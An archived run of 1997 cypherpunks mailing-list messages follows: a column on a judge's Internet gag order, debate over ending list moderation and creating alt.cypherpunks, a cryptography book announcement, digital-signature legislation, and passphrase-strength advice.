   media are global and the community is virtual?
   
        That enigma is causing problems for an Indiana couple on trial
   for reckless homicide in the November 1995 death of their son from    
   meningitis. Bill and Sarah Planck had hoped to demonstrate their
   innocence through the Net, and so another son created a web site with
   documents from a counter-lawsuit filed against the county welfare
   agencies and sheriff's department, detailing how police threatened and
   intimidated the family.

        Now the judge presiding over their criminal trial has ordered the
   Plancks to pull the plug on the site.

        Madison County judge Fredrick Spencer told me he extended an
   existing gag order to the Internet because the tort claim notice could
   influence jurors. "We went two counties away to get the jury. But
   people in Randolph County have computers and America Online. So to
   avoid any possible problem, I ordered them to take it off," Spencer
   said.

        Spencer says the order was necessary to preserve the integrity of
   the trial. "It's only the trial that I'm concerned with," he said. "If
   I don't do what I can, I risk having to do [the trial] over again."

        Yet as soon as the Plancks yanked the documents offline on
   January 27, copies sprouted on the web site of a supporter -- beyond
   the reach of Judge Spencer.

        Who's right, Spencer or the Plancks? I posed that question to
   David Post, a professor at Georgetown Law School. "Gag orders may in a
   way be a thing of the past," he replied.

       "It becomes an enforcement dilemma with respect to the Internet.
   It's a hell of a lot easier to enforce that gag order [locally]. You
   really only have to keep your eye on a very small number of
   dissemination vehicles," Post said. "Gag orders are violated on
   occasion, but by and large you have some confidence that they'll be
   respected. Obviously you can't anymore."

        Gag orders stem from the right to an impartial jury. "We think
   that sometimes -- rarely, but sometimes -- that can best be
   accomplished by controlling the kind of information potential jurors
   might see. The Net deforms the landscape," Post said.

        Katharine Liell, the Plancks' attorney, was reluctant to discuss
   the case for fear of violating the gag order -- which covers her as
   well. "I'm uncertain what I can and can't say due to the vagueness of
   the gag order," she said. "Gag orders are supposed to be specific in
   nature, but I don't understand the nature or breadth of this gag order
   so I'm not comfortable commenting at this time."
   
        The legal question at issue in this prosecution is whether the
   Plancks are guilty of four felony charges, including reckless homicide
   and involuntary manslaughter, in the death of Lance Planck from    
   pneumococcal meningitis. The verdict may depend on the answer to one  
   question: Did the Plancks wait too long to call 911? More than the
   couple, however, is on trial. The case also reveals how a child      
   protection agency can be used as a weapon to threaten parents and
   divide a family. The mirrored documents tell a sad story of a poor    
   family who lived in a trailer park and home-schooled their eight
   children, and their long-standing battle with Madison County social
   workers. 
   
        The first salvo came in 1992, when a social worker visited the
   Planck home to investigate the children's alleged vision problems.
   Based on that visit, a judge ordered that their eyes be examined. A   
   month later, police invaded the Planck home and forcibly removed the
   children. The tort notice describes other encouters, including tear
   gas canisters lobbed into their home and warrantless arrests.      
        
       "I've known the Plancks for a long time," said Brent Tobin, an
   electrical engineer who mirrored the web site. "I've lived in the town
   all my life. I know there's nothing going on there. The deputy        
   prosecutor made them out to be religious weirdos, but they're not."

       "I put up the web site since I don't feel that the county  
   government should have jurisdiction over the World Wide Web. I think
   there should be freedom of speech. I feel gag orders are a violation
   of rights," Tobin said.

        For his part, Judge Spencer emphasized that his gag order        
   "expires at the end of the case. Free speech is an important right and
   I'm going to be the last person to have a problem with it."

        What about the mirror site? Has his order accomplished anything?
   "The Planck supporters are going to put it on there," Spencer replied.
   "If you're suggesting that I'm tilting at windmills, perhaps you're
   right."
   
###








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Tue, 11 Feb 1997 07:01:48 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111501.HAA20769@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


How do you encourage people to use resources more-or-less wisely?

1.  The socialist/nanny model - take charge and give 'em orders

We've tried that and it apparently didn't work out.

2.  The market model - charge people for what they use

A while back, omebody suggested a system which would be self-funding, by
charging people for each post they made.  Maybe we should try it?  If
each little piece of ASCII art cost a poster a buck or two to send, he
might send fewer.  On the other hand, we don't want to discourage
interesting posters, so I think some system to reimburse interesting
posters would be useful.

I'm not the guy to set up the system, but I'll happily buy a modest amount
of "posting tickets."

Brad



On Tue, 11 Feb 1997, John Gilmore wrote:

> Sandy hit a pothole in the moderation experiment when Mr. Nemesis
> submitted a posting containing nothing but libelous statements about
> Sandy's employer.  He never anticipated that he wouldn't be able to
> follow his announced "post it to one list or the other" policy because
> to do so would make him legally liable (in his opinion; he's a lawyer,
> I'm not).  His gears jammed, and the whole machine came to a halt for
> a few days.
> 
> Sandy has agreed to continue moderation through the end of the
> original 1-month experiment (through Feb 19).  And it's a good thing,
> too, because the "cypherpunks community" had better get off its
> whining butt in the next ten days, or it will no longer exist.
> 
> I've come to the conclusion that I'm not willing to host the
> cypherpunks list any more.  It's not the true assholes that brought me
> to this decision; it's the reaction from the bulk of people on the
> list: suspicion, flamage, and criticism with every attempt to improve
> things.  I noticed few people volunteering some of their own time,
> money, or machines to help out.  Almost all the suggestions were
> advice for *other* people to implement:
> ...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian D Williams <talon57@well.com>
Date: Tue, 11 Feb 1997 08:59:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] Classic Cryptography
Message-ID: <199702111659.IAA22423@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




                    FOR IMMEDIATE RELEASE

                       6 February 1997


Aegean Park Press proudly announces publication of CLASSICAL
CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols
[LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ]
 
Volume II presents Lectures 11 - 22 (of a total of
twenty five) from his successful course in Classical
Cryptography taught in 1995 and 1996 to 391 students via
the Internet and an additional 65 via regular mail.

Volume II covers polyalphabetic substitutions ciphers in
the Vigenere family (Viggy, Variant, Beaufort, Porta,
Gronsfeld, Portax, Gromark), decimation, principles of
symmetry, isologs and superimposition solution
techniques.  Volume II describes the difficult aperiodic
cipher systems (Interrupted key, Autoclave, Progressive,
Running Key used in cipher machines) and their analysis
by isomorphs, and repetitions. Cryptarithm solutions for
extended bases are presented. The theory of coincidences
and statistical attacks (Kappa, Chi, Phi) derived from
this important theory are detailed.  Transposition
theory and a variety of transposition ciphers are solved
(Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman,
Auto-Transposition).  Volume II has two chapters on the
difficult cipher systems invented by the famous French
cryptographer Delastelle: Foursquare, Bifid and Trifid.
Volume II presents a detailed chapter on passwords, law
and data protection.  Volume II ends with a historical
look at codes, commercial code systems, and famous
cipher machines.  Volume II is a potpourri of advanced
topics in classical cryptography.

The Cryptographic Resources and References section has
been expanded to cover all phases of involvement with
cryptography: cryptanalysis, history, legal, social,
classical, modern, NSA, mathematical techniques,
recreational, intelligence, tactical, strategic,
National Defense, INFOSEC: offensive and defensive,
hardware, software, standards, public key cryptography,
web sources, and applicable Senate and House bills.
Readers are encouraged to expand their knowledge in the
many directions possible to them through this section.
 
For orders or Information Contact: Aegean Park Press, P.O.
Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587;
Fax: 1-714-586-8269.  Group discounts available.
 







REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I
By the Honorable David Kennedy, Director of Research,
NCSA.


     Classical Cryptography Course, Volume I.  By
Randall K. Nichols; published by Aegean Park Press,
(714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736
- 3587; 301 pages (with index); $34.80 (American
Cryptogram Association members receive a 20% discount
through ACA or NCSA Members receive a 10% discount if
purchased from the NCSA Bookstore)

     In Classical Cryptography Course, Volume I, author
Randall K. Nichols has created a benchmark for serious
students of the science of cryptography.  This is a
text.  It is for learning, and with it one cannot help
but learn about the foundations of the science.  An
outgrowth of Nichols' admitted "labor of love" in the
online Cryptography Courses he teaches over the
Internet, Volume I creates the foundation for
understanding the development of the science.

     The ten chapters of this volume lead the student
through simple substitutions, substitutions with
variants, multiliteral substitutions, xenocrypts
(foreign language substitutions), cryptarithms, the
Enigma machine (separate Enigma95 program disk available
direct from the author) and finally to polyalphabetic
substitutions.  Seven chapters conclude with problems;
solutions and discussions are provided in an appendix.
The text is indexed with twenty-four pages of references
for further study.

     I found Nichols' sense of the history of
cryptography particularly noteworthy.  The volume is
liberally salted with citations from history with
applications of the methods developed in the text.  From
Revolutionary France through the American Civil War, the
Tammany Hall scandal, Revolutionary Soviet ciphers and
Japanese successes against Chinese codes prior to Pearl
Harbor, the text provides touchstones for student to
understand and relate to.

     Phil Zimmermann observed in the documentation to
his Pretty Good Privacy Program to "Beware of Snake
Oil." Among his arguments is this anecdote:

     I remember a conversation with Brian Snow, a highly
placed senior cryptographer with the NSA.  He said he
would never trust an encryption algorithm designed by
someone who had not "earned their bones" by first
spending a lot of time cracking codes.

     Where Schneier's Applied Cryptography is a crash
course in some encryption protocols and algorithms in
use today, Nichols' text begins the teaching of Snake
Oil detection and prevention.
Learning the fundamentals, developed throughout the
text, brings a richer understanding of the science, it's
history and insight into it's possibilities and some
vulnerabilities lurking for the unwary.

     Nichols plans for release Volume II in the series
with advanced material on from the online course which
includes statistical attacks and transposition in
February, 1997.

Reviewer:  Dave Kennedy, CISSP, is Director of Research
for the National Computer Security Association,
Carlisle, PA.  He is a retired Army military police
officer and member of NCSA, ASIS, ISSA and the Computer
Security Institute.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 11 Feb 1997 09:06:40 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111706.JAA22531@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:50 AM 2/11/97 -0800, Sandy Sandfort wrote:
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                          SANDY SANDFORT
> . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
>C'punks,
>
>You have probably just read John's post.  I truly hope YOU (each
>and every one of you) can rise to his challenge.  If you have 
>offered nothing in the past but criticism, it's now time to get a
>bit more real.  What will it be, your money, time, equipment?

What kind of memory requirements/machine load does the list eat up?  I have a
machine that may fit this purpose...  (Need to know if I need to upgrade the
box though.)


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMwCeq+QCP3v30CeZAQGpwAf+MXRvC4wB6LeJkwsQa7yWI1g2TEYFJZ6O
1wD1S1QeRu1GMGRfUC3/9OTsQFijQLrOVb3MIXiy7bYxzcZsShd2cgKf4cL3HhjV
T/PH1M2uUEpOJEHLF4jCKvspySgCuLfHK+7V0+fNRO0MFQZZeCNvEd2Awog8Ue0q
OIi/jwBvzNITeBQzGu8zrBuS3VHWjMmi66kio1GV6xFL+JLwQWMsi6hT8hSiZ/TT
fOhvAfECT/hGFFDdu3/R0JYkw1B9IO7Uh0NNgH1pl7HoJiBWfU/HTDoRsruKkweX
7eDVPxB0MR10Q5XCeoH1EA3Lwd3HdNFVEsUJc+myjN58vnZ5Vo+TGQ==
=CWO1
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 11 Feb 1997 09:21:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702111721.JAA22739@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



(Please leave my name in any replies to ensure I see your comments.)

I talked to Hugh Daniel at the Saturday meeting about the creation of an
"alt.cypherpunks" unmoderated (of course) newsgroup as a possible
alternative (or supplement) to cypherpunks@toad.com. Greg Broiles and John
Gilmore were there for part of the discussion, too.

(We did not, unfortunately, get to the "future of the list" topic at the
physical meeting...the excellent presentations ran way over the expected
time and we never got to this topic. Sort of too bad, given John's edict
that we have 10 days to find and implement an alternative....)

A Usenet newsgroup has many advantages and disadvantages. Whether it might
be gatewayed to other mailing lists--perhaps even the list(s) which
survives "cypherpunks@toad.com"--depends of course on the decision of those
hosting others lists.

A charter statement is needed, and then the issuance of a creation message.
A better charter statement will increase the chances of more sites carrying
the newsgroup. While many sites carry essentially all newsgroups--more than
30,000--, some sites do not and only carry some of the alt.heirarchy. And
some sites do not carry _any_ of the alt newsgroups.

At Hugh's suggestion, I'm suggesting a "first cut" at a charter statement.
Suggestions for additional language or changes are welcome.

Charter for alt.cypherpunks: (suggested)

"Alt.cypherpunks is for the unmoderated discussion of cryptography and the
political, social, and economic implications of unrestricted, strong
cryptography. The Cypherpunks grpup has existed since 1992 and has been
central in the debate about strong crypto, government restrictions, crypto
anarchy, and in showing weaknesses of various ciphers and security
products. The mailing list has had as many as 1500 subscribers, plus
gateways to newsgroups and Web sites. It is expected that "alt.cypherpunks"
will be a free-wheeling forum for many viewpoints. As it is unmoderated,
readers are strongly advised to learn how to use filters and other tools
for making virtual anarchies manageable for their own tastes."

I invite your comments, editorial suggestions, etc. Perhaps when enough of
the "collective mind" has made inputs (ughh!), the charter can be submitted
with the creation message. (I'm not knowledgeable about the process, but
I'll bet many of you are.)

There are of course disadvantages to such a newsgroup, as any Usenet user
certainly knows. However, there are advantages as well. Here are some of
each:


* Advantages:

- Usenet is set up to automagically propagate articles across tens of
thousands of sites.

- there is no "nexus" of control, no chokepoint, no precedent (in the U.S.)
for halting distribution of Usenet newsgroups. (Canada stopped some
Homulka-Teale newsgroups a few years ago, other countries have blocked
entire sections, but note that the Scientologists have been unable to block
"alt.religion.scientology"...I surmise that a mailing list version of
a.r.s. would have faced lawsuits against the list.owner, if reachable in
U.S. or European courts...a lesson to think about with the current
imbroglio over certain claims about certain products and the possible
liability of Sandy and/or toad.com.)

- fairly sophisticated newsreading software already exists.

- no "unsuscribe" and "unscrive" messages! (It makes it easy for newcomers
to discover the group, read it for a while, then stop. It also, of course,
increases the number of "What is crypto?" sorts of messages.)

- persons cannot be unsubscribed from an unmoderated list

- with a Usenet group, there is no ability to impose notions of "order" on
the list (e.g., requirements for PGP-signing, demands for "on-topic" posts,
removal of "illegal" posts, etc.). Thus, people must deal with a virtual
anarchy by using proper tools, by ignoring what they don't want to see, or
by contracting out the role of "nanny" to others.


* Disadvantages

- Usenet newsgroups are easy targets for spammers, even more so than are
mailing lists.

- crossposting often gets out of hand. (With 30,000+ newsgroups, even
well-intentioned posters often pick the "three or four most likely" targets
for their posts).

- propagation is often spotty, and some sites have no access at all to the
"alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many
academic sites block just the alt.binaries.pictures heirarchy. Etc. A news
to mailing list gateway is possible for these readers.)

- propagation may be slower than mailing lists.

- Usenet is of course archived and easily searchable via Alta Vista, Deja
News, etc.. This bothers some people. (However, the CP mailing list is now
also archived and searchable, so the disadvantage is becoming moot.)

- persons cannot be unsubscribed from an unmoderated list (this is also an
advantage, of course)

- there will be more newbie-type messages, as casual browsers of Usenet
discover alt.cypherpunks and ask questions. This is both a disadvantage and
an advantage.


* Discussion of some of these points:

1. The issue of slow- or non-propagation can be handled by having mailing
lists which bounce the traffic (from a well-connected site) to folks who
get slow distribution, or no distribution at all. News to mail gateways, in
other words. Traffic in the reverse direction (end reader back to
alt.cypherpunks) can be handled either by "blind posting" to the a.c.
newsgroup, via one's newsreader, or through mail-to-news gateways, or
perhaps via the distributor described here.

2. And the services of "moderators," such as Eric Blossom's and Ray
Arachelian's "best of" lists, or even Sandy's list, are of course still
possible. A newsgroup does not change this, except for the latency in
getting messages out to newsgroup sites.

3. The advantages of a "no nexus, no chokepoint" distribution are huge. The
Usenet carries huge advantages in terms of having no place to attack it.

4. Some have raised the point that Usenet is "inefficient" and should not
be used for this reason. Well, it may indeed be ineficient, but the costs
have already been incurred, and alt.cypherpunks would only be 1/30,000th of
additional load (very roughly speaking). In other words, might as well use
what's out there. If a "second Usenet" ever comes into existence, fine.

5. Some of us discussed the creation of alt.cypherpunks back in '92-93. At
that time, we thought the mailing list had some major advantages. In my
view, the situation has changed dramatically since then. The mailing list
has become huge, the volume of noise has increased, majordomo is allowing
the list to be used for spamming (any 'bot system will probably have this),
and the list is already gatewayed to many sites as a _newsgroup_ anyway.

So, I think the time has come to just create it. The "activation energy
barrier" of a mailing list, where people would have to make the effort to
subscribe, has long since become irrelevant.

It may be a target for spammers, but it's hard to imagine it being much
worse than what we have now.

Usenet is an anarchy. We might as well use it.

I've never created an alt group, but I presume many of you have (and I know
of one currently fed up Cypherpunk who created the entire alt.* hierarchy a
decade or so ago). I presume some of you can thus help in such an effort.

--Tim May






Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Feb 1997 09:01:29 -0800 (PST)
To: cryptography@c2.net
Subject: DCSB: Online Government & Electronic Commerce - Legislation and Public Sector Initiatives
Message-ID: <199702111701.JAA22458@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


                 The Digital Commerce Society of Boston

                              Presents
                       Daniel Greenwood, Esq.
                       Deputy General Counsel
                  Information Technology Division
                   Commonwealth of Massachusetts

             "Online Government & Electronic Commerce -
              Legislation and Public Sector Initiatives"



                        Tuesday, March 4, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA


Dan will give us an update on recent information age legislative and
operational developments in the public sector.  Special attention will be
paid to: Electronic Signature and Record Legislation; Joint
Government/Private Sector Attempts to Set Certification Authority
Standards; Cutting Edge Public Sector PKI Projects; Recent Coordinated
State-Federal-Foreign Electronic Commerce Policy Initiatives; and much,
much more . . .

Speaker:
Daniel Greenwood, Esq.
Information Technology Division, Deputy General Counsel
Commonwealth of Massachusetts
Office: http://www.state.ma.us/itd/legal
home: http://www.tiac.net/biz/danielg

Mr. Greenwood practices information technology law for the Commonwealth
of Massachusetts.  Recent relevant activities include:
* Co-Author of the Draft 1997 Mass. Electronic Records and Signature Act
* Chairman of the Commonwealth of Mass. PKI Task Force
* Chairman of the ABA Info. Security Comm., Legislative Sub-Committee
* Co-Chair of the ABA Cyberspace Law Comm., Legislative Work Group
* Contributing Author: ABA Digital Signature Guidelines
* Negotiator of Contracts for Internet Security and Payment Systems
* Board Member of SigNet.Org and Chair of Legal Special Interest Group
* Director of the Virtual State House Project (MIT/Stanford Law School)
* Faculty Member: MCLE Health Care & Info. Technology Program
* Guest Lecturer for Suffolk Law School High Tech. Symposium
* Selection Board Chairman for First Commonwealth of Mass. C/A Business


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, March 4, 1997 from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, One Federal Street. The price for lunch is
$27.50. This price includes lunch, room rental, and the speaker's lunch.
;-).  The Harvard Club *does* have dress code: jackets and ties for men,
and "appropriate business attire" for women.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, March 1, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston".

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Planned speakers for DCSB are:

March  Daniel Greenwood  The Role of State Government in Digital Commerce
April  Stewart Baker     Encryption Policy and Digital Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

Looking forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Tue, 11 Feb 1997 09:13:23 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111713.JAA22632@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> John Gilmore writes:

JG> Sandy has agreed to continue moderation through the end of the
JG> original 1-month experiment (through Feb 19).  And it's a good
JG> thing, too, because the "cypherpunks community" had better get off
JG> its whining butt in the next ten days, or it will no longer exist.

[...]

JG> This is a "put up or shut up" to the cypherpunks community.

	This appears to be as good a time as any to announce that I'm
"putting up".  I've already taken steps, along with Jim Choate, to
start a network of majordomos hosting a Cypherpunks mailing list.  I
didn't intend to announce this until Jim and I had gotten the first
pair of 'domos working properly, but this means that we'll need to
speed things up.  Our intention is to have a set of majordomos which
are intersubscribed to a cypherpunks list on each one, with measures
taken to ensure that mail loops don't develop.  As the resulting
mailing list from each 'domo will be identical, periodically
(initially weekly), the subscriber lists of all of the participating
majordomos will be compared, with any duplicate subscribers being
removed from the 'domo(s) with the longest subscriber list.  There
will be no filtering done of any mail to the collective list, although
anyone interested in providing a filtered list will be welcome to
subscribe to the list.  Anyone interested in joining the 'domo network
with the conditions described (duplicate subscriber checking and no
filtering) is welcome.

	John, I'd appreciate your permission to use your Cypherpunks
welcome message as the basis for the welcome message of this new list.
Also, while we will make every effort to have this new list available
for subscriptions by Feb 20, I'd appreciate it if you could consider
making the current list available for a short period longer if we
encounter unanticipated difficulties.

-- 
#include <disclaimer.h>                               /* Sten Drescher */
ObCDABait:      For she doted upon their paramours, whose flesh is as the
flesh of asses, and whose issue is like the issue of horses.  [Eze 23:20]
ObFelony: President Clinton, you suck, and those boys died!
Unsolicited bulk email will be stored and handled for a US$500/KB fee.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Date: Tue, 11 Feb 1997 09:21:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Digital Signature Legislation (MN)
Message-ID: <199702111721.JAA22727@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Minnesota Legislature has a bill pending in both houses regarding
digital signatures, defines certification authorities, and provides
for licensing of authorities.

http://www.revisor.leg.state.mn.us/cgi-bin/bldbill.pl?bill=H0056.0&session=ls80
http://www.revisor.leg.state.mn.us/cgi-bin/bldbill.pl?bill=S0173.0&session=ls80

A quick read looks good, although I am not a lawyer. This only affects
digital signatures used in financial transactions, AFAIK, and does
not prohibit non-licensed cert authorities.


-- 
Kevin L. Prigge                     | Some mornings, it's just not worth
Systems Software Programmer         | chewing through the leather straps.
Internet Enterprise - OIT           | - Emo Phillips
University of Minnesota             |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 11 Feb 1997 08:58:24 -0800 (PST)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Passphrase generation
Message-ID: <199702111658.IAA22391@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


You want to think about how does someone attack the passphrase?

Essentially, there are dictionary methods, where probably passphrasess
are checked.  These are enhanced by the use of changers, where the
word is modified in ways common to people changing passwords:

target
Target
targeT
target0
0target
target1

Crack, by Alex Muffet, produces on the order of 1000 derived words per
word its given.

I use phrases of 30-90 pink elephants with some arbitrary pizzas tossed on
the floor.

Adam


Jeremiah A Blatz wrote:
-- Start of PGP signed section.
| Internaut <unde0275@frank.mtsu.edu> writes:
| > Hi,
| > I am wanting to learn how to generate a passphrase that is at least as
| > strong as the IDEA algorithm.  I have looked several other places on the
| > web for an answer to this, but they all had different things to say that
| > didn't add up (no pun intended :).
| 
| Chech out the cannonical passphrase FAQ:
| http://www.stack.nl/~galactus/remailers/passphrase-faq.html
| 
| This one has some quick reminders of what to do and not to do
| http://www.encryption.com/pphrase.htm
| 
| Bottom line, totally random ASCII will have lots of bits per
| character, but english has about 1.2 bits per character. Misspellings
| can add to that, depending on the extent of mutillation . Combining
| certain words can make your passphrase weaker (such as "To be or not
| to be," "This is my passphrase," etc.).
| 
| HTH,
| Jer
| 
| "standing on top of the world/ never knew how you never could/ never knew
|  why you never could live/ innocent life that everyone did" -Wormhole
-- End of PGP signed section.


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 09:12:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: STE_pup
Message-ID: <199702111712.JAA22612@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


2-10-97:

"Euro's creation raises money laundering fears"

  OECD task force report(*) identifies perils of a
  single currency and suggests Russian crime groups
  are linking up with the Mafia and Colombian drug
  cartels for laundering the new currency. Warns of other
  e-cash hazards.

"Visa to Test Cards For Possible Use On the Internet"

  E-cash cards to be manufactured by Schlumberger and
  will use  "virtually unbreakable" public-key cryptography.

"Computer Security Becomes Biometric With Print Matching"

  Oracle's new fingerprint checking device to assure bona fide
  log-on privileges. Covers other such devices, quotes a maker:
  "if criminals or hackers get through these, industry will
  step up one more level."

-----

STE_pup

* A search is on for the report. Leads welcomed. The task force
met last week in Paris.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 09:06:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: STE_pup
Message-ID: <199702111706.JAA22519@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


2-10-97:

"Euro's creation raises money laundering fears"

  OECD task force report(*) identifies perils of a
  single currency and suggests Russian crime groups
  are linking up with the Mafia and Colombian drug
  cartels for laundering the new currency. Warns of other
  e-cash hazards.

"Visa to Test Cards For Possible Use On the Internet"

  E-cash cards to be manufactured by Schlumberger and
  will use  "virtually unbreakable" public-key cryptography.

"Computer Security Becomes Biometric With Print Matching"

  Oracle's new fingerprint checking device to assure bona fide
  log-on privileges. Covers other such devices, quotes a maker:
  "if criminals or hackers get through these, industry will
  step up one more level."

-----

STE_pup

* A search is on for the report. Leads welcomed. The task force
met last week in Paris.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 11 Feb 1997 21:55:47 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702120555.VAA07276@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
>If the people decide for creation of a new USENET newsgroup,
>we need to think very hard about actually moving it to a different
>hierarchy from alt.*. I would propose comp.org.cypherpunks,
>comp.cypherpunks, sci.crypt.cypherpunks or something like that.
>
>A comp.* or sci.* newsgroup, if created, has the following advantages
>over an alt.* newsgroup:
>
>1) There is usually less spam in sci.* or comp.*
>2) There are virtually no completely irrelevant flamewars
>3) The propagation will be a lot better
>4) More people will be able to read it because of the issue of providers
>   not carrying alt.*.
>
>I see nothing that would make a sci.* or comp.* newsgroup  worse than
>alt.* newsgroup.

Sure, and this has come up in every past discussion of creating
"alt.cypherpunks."

But the creation of alt.cypherpunks is _easy_, and needs little permission
or support, whereas the creation of "soc.culture.cypherpunks" or whatever
takes work, requires a vote, blah blah blah. And so it never gets off the
ground.

(Nor is it clear to me, and perhaps not to others, that it belongs in the
the various places Igor mentioned. Comp.org.cypherpunks probably is the
best fit, but then many would cite the "comp" part to try to insist that
only _computer_ topics be discussed. Likewise, the "soc" domain would skew
discussion...etc. "Alt" has the nice advantage of explicitly not be part of
sci, or comp, or soc, or even talk.)

Since posting my comments I've just seen the proposal that tivoli may host
a list. Fine with me. But I wonder how long Tivoli and its parent company,
IBM, will tolerate such things as postings of dumpster divings at Mykotronx
and RSADSI, of deliberate slams against Tivoli products (a la the case John
Gilmore referred to this morning), postings about assassination markets,
and so on.

I still feel that the time has come to move virtual forums such as ours out
of U.S. jurisdictions. Given that most European nations are worse in some
ways (no Holocaust denial posts allowed in "cypherpunks@foobar.de"?), I
recommend the alt.cypherpunks as the best overall compromise.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
